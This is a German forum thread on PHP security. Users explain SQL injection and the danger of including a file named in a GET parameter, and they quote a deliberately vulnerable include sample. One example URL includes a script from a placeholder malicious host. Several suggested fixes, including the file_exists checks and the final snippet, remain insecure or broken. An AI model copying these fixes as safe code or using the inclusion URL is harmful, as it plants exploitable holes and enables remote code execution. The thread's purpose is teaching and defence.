Sicherheit in PHP Scripten

Ich weiß ich darf es nicht, aber....

@Nordin: Wer lesen kann... (den Rest wirst du ja kennen)

LG

Nico D.

Ja, man kann natuerlich auch mit Kanonen auf Spatzen schiessen:

function entschaerfen($str) {
    return mysql_real_escape_string(trim(preg_replace("~[\\/´`'\"]~","",$str)));
}

/* Alle uebergebenen Parameter entschaerfen */
foreach($_GET as $g) {
    $g=entschaerfen($g);
}

/* Auf Nummern pruefen und ID raussuchen */
if(isset($_GET['id']) && is_numeric($_GET['id']) && ($res=mysql_query("select * from t_user where id=".$_GET['id']." limit 1;")!==false) {
    //...
}

/* Fuers CMS */
if(isset($_GET['page']) && file_exists($cms_dir.$_GET['page'])) {
    //...
}

Und auch das waere noch erweiterbar. Ich wuesste nicht, wo das noch angreifbar waere, ausser es hackt sich jemand wirklich in den Webserver ein, aber das sichert man ja mit ganz anderen Mitteln ab. Eine Firewall in PHP zu schreiben waere etwa so sinnvoll wie einen Toaster mit Windows 7 auszustatten.

Nordin

@heini
Ja das wäre schon die Crème de la Crème *g* aber ein noob versteht da jetzt sicher nur noch bahnhof
Darum wollte ich ja nicht ganz soweit gehen, sondern RandomAccess85 nur kurz erklären warum es schlimm ist wenn man nicht get und post überprüft...

RandomAccess85 schrieb:

Ich weiß ich darf es nicht, aber....

@Nordin: Wer lesen kann... (den Rest wirst du ja kennen)

LG

Öhm... wie meinen?? Ich versteh nicht?!

Nordin schrieb:

RandomAccess85 schrieb:

Ich weiß ich darf es nicht, aber....

@Nordin: Wer lesen kann... (den Rest wirst du ja kennen)

LG

Öhm... wie meinen?? Ich versteh nicht?!

Hallo,

es ging mir lediglich um das äußerst anfällige include welches auf Seite 1 dieses Threads besprochen wurde, und ich war der Meinung dass sich deine Aussage auf selbiges bezog. Daher wollte wissen welche Quellen du besitzt, die dir bestätigen dass ein "include($_GET['myVariable']);" häufiger als erwartet verwendet wird...

LG, Micha

Nordin

Daher wollte wissen welche Quellen du besitzt, die dir bestätigen dass ein "include($_GET['myVariable']);" häufiger als erwartet verwendet wird...

Ich bin Macher von: http://ctxtra.org

Dank diesen Projekt kann ich mit abertausenden versuchten GET und POST manipulationen belegen das gut 80% oder mehr aller versuchter Angriffe auf eine Webseite durch die übergabe von GET-Parametern geschieht.

[OffTopic]
Leider liegt das Projekt seit gut einem Jahr auf Eis da ich beruflich sehr viel zu tun habe. Falls es PHP-Experten hier im Forum gibt die sich das Script näher anschauen wollen: Bitte verzeiht mir wie es geschrieben wurde *g* - aber es funktioniert immerhin
Sollte jemand Interesse haben es weiter zu entwickeln oder möchte es jemand betreuen kann er gern bescheid geben.
[OffTopic]

phlox81

google mal nach "sql select" in der URL.

Nico D.

Nordin schrieb:

Sollte jemand Interesse haben es weiter zu entwickeln oder möchte es jemand betreuen kann er gern bescheid geben.

Bescheid. Ich wuerde mir gern mal den Quelltext ansehen und schauen, ob ich etwas verbessern / ausbauen kann. Ansonsten wuerde ich mich - sollte mich das Produkt ueberzeugen - mal ans Marketing heranmachen wollen. Dann allerdings gemeinsam, nicht alleine.

Nordin

Ja genau, so findest du ebenfalls aber tausende quellen.

Kannst auch nach "sql injection" googlen.
Oder auch bei wikipedia schauen: http://de.wikipedia.org/wiki/SQL-Injection

Nordin

@heini
Ich freu mich! Wenn du wirklich interesse hast wäre das super!
Kannst du dich bitte dort registrieren. Sag mir bescheid wenn du registriert bist. Ich melde mich dann bei dir per email oder PN. (Hier ist es ja scheinbar nicht möglich.)

Wir können uns auch gern über einen Messenger unterhalten. Kann dir mit MSN oder Skype dienen. Ggf. können wir auch mal telefonieren. Mir liegt wirklich sehr viel an diesem Projekt nur leider kann ich es nicht weiter entwikeln weil mir die zeit fehlt

Gruß Nordin

Nico D.

Nordin schrieb:

Sag mir bescheid wenn du registriert bist. Ich melde mich dann bei dir per email oder PN.

Bescheid. Pseudonym: Euclid

Cpp_Junky

seq schrieb:

oops hab was vergessen sry.

So sieht der Verwundbare Code aus:
<?php
if (isset($_GET['vulnvar']))
	{
	include ($_GET['vulnvar']);
	}

	else
	{
	echo "kein wert bekommen";
	}

?>

Was bewirkt denn dieser Code? (/me = PHP Anfänger)

elise

Cpp_Junky schrieb:

seq schrieb:
So sieht der Verwundbare Code aus:
<?php
if (isset($_GET['vulnvar']))
	{
	include ($_GET['vulnvar']);
	}

	else
	{
	echo "kein wert bekommen";
	}

?>
Was bewirkt denn dieser Code? (/me = PHP Anfänger)

wenn (existiert die variable vulnvar als übergabe (an die url angehängt))
dann includiere das, was vulnvar mitgebracht hat.

schön, da kann man dann alle möglichen seiten einbinden.

Hallo,

das die im GET-Parameter 'vulnvar' angegebene Seite in das aktuelle PHP-Script eingebunden wird!

// URL = meineurl.de/index.php?vulnvar=test.php

index.php:

include ($_GET['vulnvar']);
// ergibt:
echo("Test"); // aus test.php

test.php:

echo("Test");

//Edit: Zu langsam

LG, Micha

Marc++us

Hm, es gibt das sogar oft:

http://www.google.de/search?hl=de&q=include+(%24_GET[&meta=

Gleich der erste Link zeigt ein Fallbeispiel bei selfhtml für Navigation... das werden viele Leute kopiert haben.

Cpp_Junky

OMG, das ist allerdings wirklich krank

Nordin

Ja das ist ja auch nicht schlimm, nur muss man eben überprüfen ob das übergebene in der URL auch das ist was ich gesendet habe.

Wenn ich

meineurl.de/index.php?vulnvar=test.php

sende, soll das ja auch an komemn damit meine test.php eingebunden wird.

Aber es kann jetzt auch jemand folgendes machen:

meineurl.de/index.php?vulnvar=http://böse-seite.com/böses-script.txt

Schon wird nicht mehr meine test.php eingebunden sondern ein böser schadecode

Darum muss ich prüfen ob "vulnvar" auch das von mir übergebene "test.php" entählt.
(An die spezialisten: wie man jetzt prüft ist erstmal nebensächlich.)

Hallo,

php_info() aufrufen und schauen ob allow_url_include auf on gesetzt ist! Sollte dies der Fall sein ist die Sicherheitslücke offen. In dem Fall sollte allow_url_include auf off gesetzt werden => php.ini

Sollte dies aus irgend einem Grund nicht machbar sein, einfach mittels file_exists() prüfen. Soweit ich weiß ist file_exists() Serverübergreifend nicht möglich und gibt somit false zurück...

if (file_exists($_GET['vulnvar']))
   include($_GET['vulnvar']);
else
   echo("Error");

LG, Micha

Nordin

RandomAccess85 schrieb:

Hallo,

php_info() aufrufen und schauen ob allow_url_include auf on gesetzt ist! Sollte dies der Fall sein ist die Sicherheitslücke offen. In dem Fall sollte allow_url_include auf off gesetzt werden => php.ini

Sollte dies aus irgend einem Grund nicht machbar sein, einfach mittels file_exists() prüfen. Soweit ich weiß ist file_exists() Serverübergreifend nicht möglich und gibt somit false zurück...
if (file_exists($_GET['vulnvar']))
   include($_GET['vulnvar']);
else
   echo("Error");
LG, Micha

Guter Vorschlag, gibt aber ein paar kleine haken:
- aus erfahrung weiß ich das 70% der user nicht an die php.ini rannkommen
- allow_url_inlude() ist erst ab PHP Version 5.2.0 verfügbar

Im Falle das der übergebene Parameter eine zu includierende Datei ist, denke ich die meisten sollten es so machen wie du sagst, mittels file_exsist prüfen ob die übergebene datei existiert und gut.

RandomAccess85 schrieb:

Hallo,

Sollte dies aus irgend einem Grund nicht machbar sein, einfach mittels file_exists() prüfen. Soweit ich weiß ist file_exists() Serverübergreifend nicht möglich und gibt somit false zurück...
if (file_exists($_GET['vulnvar']))
   include($_GET['vulnvar']);
else
   echo("Error");
LG, Micha

stellen wir uns vor, dass ein angreifer ein Bild auf den server upgeloadet hat in dem eigentlich im klartext phpcode steht.
Ab jetzt wird eine include von einem lokalem file eine Katastrophe bedeuten und file_exists wird uns nicht ausreichen.

zwutz

einfache Lösung:

http://www.example.com/index.php?include=test

include( "/includes/" + $_GET['include'] + ".php" );